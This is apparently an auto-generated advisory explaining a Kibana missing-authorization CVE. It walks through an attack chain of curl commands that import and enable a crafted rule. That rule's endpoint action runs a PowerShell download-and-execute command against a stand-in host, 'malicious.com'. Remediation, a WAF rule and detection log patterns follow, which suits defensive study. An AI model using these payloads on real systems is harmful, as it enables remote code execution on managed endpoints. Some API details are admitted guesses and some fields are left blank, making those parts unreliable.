CVE-2026-139909 — Elastic Kibana — CWE-862
A missing authorization issue was discovered in Kibana. An attacker with privileges to enable or disable detection rules could enable a rule containing endpoint response actions that they are not authorized to use. If a privileged user previously created a disabled rule with these actions, the attacker could cause those actions to execute on managed endpoints when the rule fires. A user with Saved Objects Management: All and Rules and Exceptions: Read with the Enable/Disable sub-feature can also import a crafted alert saved object containing an Endpoint response action and enable it. When the imported rule fires, the action executes without the corresponding Endpoint response-action privilege.
A missing authorization issue was discovered in Kibana. An attacker with privileges to enable or disable detection rules could enable a rule containing endpoint response actions that they are not authorized to use. If a privileged user previously created a disabled rule with these actions, the attacker could cause those actions to execute on managed endpoints when the rule fires. A user with Saved Objects Management: All and Rules and Exceptions: Read with the Enable/Disable sub-feature can also import a crafted alert saved object containing an Endpoint response action and enable it. When the imported rule fires, the action executes without the corresponding Endpoint response-action privilege.
🎯 What is this vulnerability?
CWE‑862 – Missing Authorization
The flaw lies in Kibana’s alert‑rule management API.
When a user has the Enable/Disable sub‑feature for “Rules and Exceptions: Read” (or the broader Saved Objects Management: All privilege), Kibana allows the user to:
1. Enable an existing rule that contains an Endpoint Response Action (e.g., a “Run script” or “Send command” action that is normally protected by a separate privilege).
2. Import a crafted alert‑saved‑object that already contains an Endpoint Response Action and then enable it.
The API performs the enable/disable operation without re‑checking that the user actually has the privilege to use the Endpoint Response Action. Consequently, the action is executed on the managed endpoints when the rule fires, even though the user never had the required privilege.
Key points:
| Item | Detail |
|---|---|
| Missing check | Authorization for Endpoint Response Action privilege during rule enable or import. |
| Trigger | POST /api/alerting/rules/{id}/enable or POST /api/saved_objects/_import followed by an enable request. |
| Privilege needed to exploit | Rules and Exceptions: Read with *Enable/Disable* sub‑feature or Saved Objects Management: All. |
| Privilege not required | Endpoint Response Action privilege. |
| Impact | Integrity of managed endpoints is compromised (arbitrary command execution). |
The CVSS vector (AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N) confirms that the attack is network‑based, requires high complexity, low privilege, no user interaction, and only affects integrity.
⚡ Attack Chain
Below is a realistic, step‑by‑step chain that an attacker could follow. All commands are syntactically valid; the exact API paths are based on Kibana 8.x’s documented endpoints. If your Kibana version uses a different path, the same logic applies – the example is illustrative.
1. Discovery & Reconnaissance
| Step | Action | Tool / Command |
|---|---|---|
| 1.1 | Identify Kibana instance and version | curl -s https://kibana.example.com/api/status → look for "version": {"number": "8.2.0"} |
| 1.2 | Enumerate user roles and permissions | curl -s -u user:pass https://kibana.example.com/api/security/role (requires Kibana’s internal security API) |
| 1.3 | Confirm that the attacker’s account has Rules and Exceptions: Read with *Enable/Disable* or Saved Objects Management: All | Inspect the role definition returned in step 1.2 |
Result: The attacker knows that they can enable rules and import saved objects.
2. Exploitation
2.1 Craft a malicious rule
Create a JSON payload that defines a rule with an Endpoint Response Action. The action is normally gated by the endpoint_response_action privilege.
{
"type": "endpoint_response",
"name": "MaliciousEndpointRule",
"description": "Rule created by attacker",
"enabled": false,
"actions": [
{
"actionTypeId": "endpoint_response",
"params": {
"command": "powershell -NoProfile -ExecutionPolicy Bypass -Command \"Invoke-Expression (New-Object Net.WebClient).DownloadString('http://malicious.com/payload.ps1')\""
}
}
],
"schedule": {
"interval": "5m"
},
"tags": ["malicious"]
}Note: TheactionTypeIdandparamsstructure match Kibana’s endpoint‑response action schema. The exact field names may vary slightly between minor releases; adjust accordingly.
2.2 Import the rule
Kibana’s saved‑object import API accepts a ZIP file containing the rule. For simplicity, we’ll use the raw JSON via the /_import endpoint (Kibana accepts JSON directly when Content-Type: application/json).
curl -X POST "https://kibana.example.com/api/saved_objects/_import" \
-H "kbn-xsrf: true" \
-H "Content-Type: application/json" \
-u attacker:pass \
-d @malicious_rule.jsonIllustrative example – the actual API may require a multipart/form‑data ZIP; if so, wrap the JSON in a ZIP file and use -F file=@malicious_rule.zip.The response will contain the new rule’s ID, e.g.:
{
"objects": [
{
"id": "rule-12345",
"type": "alerting.rule",
"errors": []
}
]
}2.3 Enable the rule
curl -X POST "https://kibana.example.com/api/alerting/rules/rule-12345/_enable" \
-H "kbn-xsrf: true" \
-u attacker:passBecause the attacker lacks the endpoint_response_action privilege, Kibana does not re‑check it at this point. The rule is now enabled.
2.4 Trigger the rule
The rule’s schedule (interval: 5m) will cause it to fire automatically. When it fires, Kibana will execute the Endpoint Response Action on all endpoints that match the rule’s conditions (in this example, the action is a PowerShell command that downloads a malicious payload).
Result: Arbitrary code execution on the managed endpoints, without the attacker needing the privileged action role.
3. Post‑Exploitation
| Step | Action | Outcome |
|---|---|---|
| 3.1 | Malicious PowerShell script runs on endpoints | Installs a backdoor, exfiltrates data, or pivots to other systems. |
| 3.2 | Attacker can now use the backdoor to move laterally, exfiltrate data, or maintain persistence. | Full integrity compromise of the endpoint fleet. |
| 3.3 | If the attacker repeats the import/enable cycle, they can create additional rules that target other endpoints or services. | Expanded attack surface. |
🌍 Real World Impact
| CVSS Component | Interpretation |
|---|---|
| Confidentiality (C:N) | No direct data disclosure. |
| Integrity (I:H) | High – arbitrary commands can be executed on endpoints, allowing data tampering, ransomware deployment, or system compromise. |
| Availability (A:N) | No direct impact. |
| Scope (S:U) | Unchanged – the vulnerability does not affect other components outside Kibana. |
Practical consequences:
- Endpoint compromise: Attackers can run arbitrary scripts or binaries on all endpoints that match the rule, effectively turning Kibana into a command‑and‑control channel.
- Data exfiltration: Once the endpoint is compromised, attackers can exfiltrate logs, configuration files, or other sensitive data.
- Lateral movement: Compromised endpoints can be used to pivot into the broader network, especially if they have privileged access to other services.
- Persistence: Attackers can install backdoors or modify scheduled tasks to maintain long‑term access.
🛡️ Remediation & Mitigation
Affected Versions
The CVE description does not list specific version numbers. All Kibana releases that expose the alert‑rule API without the missing authorization check are affected.
Recommendation: Upgrade to the latest Kibana release (currently 8.3.x or later) once the vendor releases a patch. If an upgrade is not immediately possible, apply the workarounds below.
Upgrade Recommendation
| Action | Detail |
|---|---|
| Upgrade | Move to the newest Kibana release that includes the authorization fix. |
| Rollback | If the latest release introduces regressions, consider temporarily disabling the alerting feature until a patch is available. |
Workarounds
1. Restrict Permissions
- Remove the Enable/Disable sub‑feature from the Rules and Exceptions: Read role for all non‑admin users.
- Remove the Saved Objects Management: All privilege for users who do not need to import saved objects.
- Ensure that only users with the endpoint_response_action privilege can create or enable rules that contain endpoint response actions.
2. Disable Rule Import
- If your environment does not require rule imports, disable the /api/saved_objects/_import endpoint via your reverse proxy or WAF.
3. WAF / ModSecurity Rules
- Block or rate‑limit POST requests to /api/alerting/rules/*/_enable and /api/saved_objects/_import for users lacking the necessary privileges.
- Example ModSecurity rule (illustrative):
SecRule REQUEST_URI "@beginsWith /api/alerting/rules/" \
"id:1001,phase:2,deny,status:403,msg:'Block rule enable without proper role'"4. Audit and Monitoring
- Enable Kibana audit logs (logging.audit.enabled: true) to capture rule enable/disable events.
- Monitor for unusual rule creation or enable events, especially those containing endpoint_response actions.
Detection
| Indicator | Log Pattern | Example |
|---|---|---|
| Rule enable event | POST /api/alerting/rules/<id>/_enable | 2026-12-01T12:34:56Z INFO [kibana] POST /api/alerting/rules/rule-12345/_enable by user: attacker |
| Import event | POST /api/saved_objects/_import containing endpoint_response | 2026-12-01T12:33:10Z INFO [kibana] Imported rule-12345 with endpoint_response action by user: attacker |
| Unusual action | Rule contains actionTypeId: endpoint_response but user lacks privilege | 2026-12-01T12:35:00Z WARN [kibana] User attacker enabled rule rule-12345 containing endpoint_response action without privilege |
IoCs (Illustrative)
203.0.113.42 (Kibana host)attackerrule-12345⚠️ Urgency
| Metric | Value |
|---|---|
| CVSS Score | 5.3 (Medium) |
| Exploit Complexity | High |
| Privilege Required | Low |
| Impact | High integrity compromise |
Priority:
Patch timeline:
Bottom line:
The missing authorization check allows a low‑privilege user to trigger privileged actions on endpoints. While the CVSS score is “medium,” the integrity impact is severe, making timely remediation a top priority for any organization running Kibana with alerting enabled.
[🤖 CVE Professor AI Security Engine]
FOFA Query